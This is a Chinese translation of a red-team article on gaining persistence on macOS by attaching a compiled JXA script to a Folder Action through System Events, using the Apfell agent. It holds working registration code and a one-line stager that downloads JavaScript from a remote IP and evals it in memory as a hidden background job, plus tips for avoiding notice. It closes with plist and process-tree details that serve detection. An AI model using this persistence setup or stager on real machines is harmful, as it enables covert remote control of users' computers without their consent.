原文地址:https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d?gi=a2d8f321ad82

与Windows平台相比,为macOS平台渗透测试介绍新型战术、技术和程序(TTP)的文章数要少得多。因此,本文将为读者详细介绍一种新型的方法:利用Apfell框架中的JavaScript for Automation(JXA)代理实现对macOS的持久控制。

我们知道,macOS提供了一种名为Folder Actions的功能,专门用于在用户定义的文件夹上触发执行AppleScript。据Apple的文档称:

“当相关的文件夹添加或删除项目时,或当打开、关闭、移动或调整其窗口大小时,就会执行Folder Action脚本。”

作为攻击者,这听起来非常神奇。一旦在关联的文件夹上触发了上述事件,系统就会自动替我们执行AppleScript文件。并且,脚本是在用户的上下文中执行的,即使您(攻击者)将文件夹操作的执行身份注册为root用户,也是如此。

那么,具体该如何操作呢?实际上,至少有三种方法:

  1. 使用Automator程序创建Folder Action工作流文件(.workflow),并将其安装为服务。
  2. 右键单击文件夹,选择“文件夹操作设置...”,“运行服务”,然后手动附加脚本。
  3. 使用OSAScript将Apple Event消息发送到System Events.app,以编程方式查询和注册新的Folder Action。

Apfell中,我使用的是第三种方法。需要注意的是,如果使用第二种方法,UI将自动限制您对/Library/Scripts/Folder Action Scripts和~/Library/Scripts/Folder Action Scripts中脚本的可见性。使用第三种方法的话,我们不仅可以将该脚本放到任意位置,并仍然可以引用它。

操作步骤

首先,我们需要一份编译好的OSAScript文件(.scpt)。幸运的是,我们可以通过AppleScript或JavaScript for Automation(JXA)实现这一点。在这里,我们选用后者。接下来,请打开脚本编辑器,并复制下列代码(用作简易的PoC):

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /Users/itsafeature/Desktop/touched.txt");

将这个文件命名为disk_watching.scpt,然后,将其保存到您选定的目录即可。这样,我们就可以通过osascript folder_watching.scpt命令来运行这个脚本了。实际上,这个脚本的功能非常简单:将一个空文件写入/Users/itsafeature/Desktop/touched.txt。在我们运行的脚本中可以包含任何有效的OSAScript代码,但必须将其编译为.scpt格式。接下来,我们需要将这个脚本与一个文件夹的实际JXA代码关联起来。为此,我们需要执行以下操作:

var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "folder_watch.scpt", posixPath: "/Users/itsafeature/Desktop/folder_watch.scpt"});
var fa = se.FolderAction({name: "watched", path: "/Users/itsafeature/Desktop/watched"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

在这个脚本中,我们执行了下列操作:

  • 打开了对System Events.app应用程序的引用。通过它,可以发送Apple事件(这只是在MacOS系统上进行进程间通信(IPC)的方式之一)。从MacOS10.14(Mojave)开始,第一次尝试将Apple事件从一个应用程序发送到另一个应用程序时,会弹出如下所示窗口:

macOS Mojave的Apple Event消息的标准弹出窗口

  • 该消息可以在System Preferences -> Security & Privacy -> Privacy中找到。我们通过Osascript执行操作时遇到的问题通常显示在左侧的Automation类别中。这个弹出窗口是在第一次出现一个新的Apple事件连接组合(即源和目标应用程序)时出现的。如果用户已经允许或禁用这个特定的源/目标组合,则不会弹出。在JXA中,如果用户禁用该功能,您将收到一条普通的Error消息:Error: An error occurred (-1743)。借助搜索引擎,我们发现系统不允许将AppleEvent发送给应用程序。如果您需要重置该消息,可以使用tccutil二进制文件重置这些权限,也可以在UI中切换这些权限。

Security & Privacy请求屏幕中显示的请求/请求的应用程序组合

  • 我们接下来要做的是启用folder actions功能。当然,该功能的作用范围通常有两种,其中,如果se.folderActionsEnabled = true,表示在系统范围内启用Folder Actions功能。一旦启用了该功能,就会单独为各个文件夹操作提供相应的启用/禁用功能。

  • 我们需要先创建一个Script对象。它只是指向我们的脚本所在的位置(它可以是任何目录)。

  • 然后,我们为watched文件夹注册一个文件夹操作(它通常位于/users/itsafeature/Desktop/watched中),并将其推送到已注册的文件夹操作列表中。

  • 这样,我们可以将用于该文件夹操作的脚本添加到文件夹操作列表中了。

如果您在UI中执行该操作,则会看到如下窗口:

文件夹操作设置窗口

需要注意的是,您可以将多个脚本与任何文件夹相关联,并且可以分别启用或禁用各个脚本。我们可以使用JXA查询这些相同的信息,以确保应用了这些文件夹操作,并查询现有的操作:

>> var se = Application("System Events");
=> undefined
>> se.folderActions.length;
=> 1
>> se.folderActions[0].properties();
=> {"path":"/Users/itsafeature/Desktop/watching", "enabled":true, "volume":"/", "class":"folderAction", "name":"watching"}
>> se.folderActions[0].scripts.length;
=> 1
>> se.folderActions[0].scripts[0].properties();
=> {"enabled":true, "path":"Macintosh HD:Users:itsafeature:Desktop:folder_watch.scpt", "posixPath":"/Users/itsafeature/Desktop/folder_watch.scpt", "class":"script", "name":"folder_watch.scpt"}

我们可以清楚地看到,相应的脚本已被附加并启用。接下来,我们需要做的最后一件事就是触发它。当然,我们可以通过多种方式触发该脚本,例如:

  1. 通过Finder UI打开文件夹
  2. 向文件夹中添加文件(可以通过拖放完成,甚至可以通过终端的shell命令完成)
  3. 从文件夹中删除文件(可以通过拖放完成,甚至可以提供终端的shell命令完成)
  4. 通过UI导航出文件夹

现在,为了实现持久控制,请确保将该脚本与一个文件夹相关联,并且该文件夹能根据您的需要定期触发文件夹操作。需要注意的是,最好不要与频繁使用的文件夹相关联(如用户的Documents文件夹,主目录或Downloads文件夹),除非您能设法避免自己被回调淹没。

同时,如果您让它长时间运行的话,顶部菜单栏中会出现一个图标,表示它正在处理某些内容,如果单击它,就可以看到脚本名称:

表明文件夹操作脚本正在运行的顶部条形图标

要解决这个问题,可以将您的任务作为后台作业运行,以便快速退出初始的.scpt文件。如果您希望在JXA中通过DoshellScript来实现这一点,那么需要设法让它作为后台任务运行。根据Apple的相关文档:

do shell script always calls /bin/sh. However, in macOS, /bin/sh is really bash emulating sh.

这意味着,如果希望在后台启动Apfall JXA payload,可以让编译后的脚本包含以下内容:

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript(" osascript -l JavaScript -e \"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('http://192.168.205.151/api/v1.2/files/download/22')),$.NSUTF8StringEncoding)));\" &> /dev/null &");

其中的关键部分是shell命令的结尾:&>/dev/null &,该命令将访问URL http://192.168.205.151/API/v1.2/files/download/22,下载文件,并将其作为后台任务在内存中运行。

与我们通过终端执行JXA来设置文件夹操作实现持久性控制不同,如果实现持久性控制的JXA代码是直接执行的,并且将Apple事件发送到其他应用程序的话,那么弹出窗口将略有不同。这时,我们将在FolderActionsDispatcher的上下文中执行:

FolderActionsDispatcher请求控制Finder.app

只有将Apple事件发送到其他应用程序时,这才会起作用。如果使用shell脚本或利用JXA-Objective C桥来调用本机Objective C API,则不会出现这些弹出窗口或问题。

下面是一个简单的示例,为读者展示了如何获得APFELL-JXA payload:

生成APFELL-JXA payload的Folder Action

 结束语

与大多数与macOS相关的配置一样,该功能也有一个对应的plist,其中存放了所有的相关信息,它位于~/Library/Preferences/com.apple.FolderActionsDispatcher.plist。其中,这个plist包含一组递归的base64编码二进制plist,解码后可以看到,其中存放的是UI和JXA中显示的信息。

根据Richie Cyrus的介绍,在使用xnumon考察该功能的父进程层次结构时,可以看到:

  • /usr/libexec/xpcproxy 生成了 /SystemLibrary/CoreServices/ScriptMonitor.app/Contents/MacOS/ScriptMonitor
  • /System/Library/Frameworks/Foundation.framework/Versions/C/XPCServices/com.apple.foundation.UserScriptService.xpc/Contents/MacOS/com.apple.foundation.UserScriptService 生成了 /usr/bin/osascript -sd -E -P /users/itsafeature/Desktop/folder_watch.scpt

这是初始执行链的末尾;但是,既然我们在JXA中使用了doShellScript功能(或者在AppleScript中使用shell脚本),那么实际上已经通过sh -c进程来执行touch命令。具体来说,`/System/Library/Frameworks/Foundation.framework/Versions/C/XPCServices/com.apple.foundation.UserScriptService.xpc/Contents/MacOS/com.apple.foundation.UserScriptService`将生成子进程`sh -c touch /Users/itsafeature/Desktop/touched.txt`。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖